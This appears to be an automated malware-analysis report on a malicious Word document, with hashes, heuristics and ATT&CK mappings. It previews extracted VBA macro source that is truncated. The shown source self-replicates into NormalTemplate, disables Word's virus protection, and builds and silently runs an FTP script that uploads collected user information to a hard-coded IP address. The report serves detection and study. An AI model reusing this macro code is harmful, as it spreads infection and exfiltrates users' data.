Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8b65220b9a1cd94d…

MALICIOUS

Office (OLE)

57.5 KB Created: 2009-02-23 19:08:00 Authoring application: Microsoft Word 11.5.3 First seen: 2020-09-04
MD5: fbc293fa98d3db32b53ae54f12ac58b5 SHA-1: d8dcf582bfbe771ca79a18fb1d1b4a4cb77d9b36 SHA-256: 8b65220b9a1cd94d73164dfde581230880e4114f6213b6713e07c34c7ac57995
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the presence of a Shell() call within its VBA macros. The Document_Open macro is present and configured to execute code, which is further supported by the OLE_VBA_PCODE_AUTOEXEC_EXEC heuristic. This suggests the macro is designed to run arbitrary commands, likely to download and execute a second-stage payload, as indicated by ClamAV detections of 'Doc.Trojan.Marker-31' and 'Doc.Trojan.Locale-1'.

Heuristics 5

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25633 bytes
SHA-256: 5aae7916a3665c7794b1cecf67e844c70ebdea11269df31dca4e6b6bbec0411d
Detection
ClamAV: Doc.Trojan.Locale-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Set newDocument = Documents(1)
    nextRoutine = "Document_Open"
    
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
    
    With nextDocument.VBProject.VBComponents
        For I = 1 To .Count
            If .Item(I).Type = 100 Then
                With .Item(I).CodeModule
                    If Not .Find("Sub " + nextRoutine + "()", 1, 1, .CountOfLines, 10) Then
                        With prevDocument.VBProject.VBComponents.Item(1).CodeModule
                            codeString = .Lines(.ProcStartLine(nextRoutine, vbext_pk_Proc), .ProcCountLines(nextRoutine, vbext_pk_Proc))
                        End With
                    End If
                    .AddFromString codeString
                    .ReplaceLine 1, "Private Sub " + nextRoutine + "()"
                    If prevDocument Is NormalTemplate Then
                        .ReplaceLine 5, "    Set prevDocument = ActiveDocument"
                        .ReplaceLine 6, "    Set nextDocument = NormalTemplate"
                    Else
                        .ReplaceLine 5, "    Set prevDocument = NormalTemplate"
                        .ReplaceLine 6, "    Set nextDocument = newDocument"
                    End If
                End With
            End If
        Next
    End With
End Sub
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For I = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next I
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For I = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
      
... (truncated)

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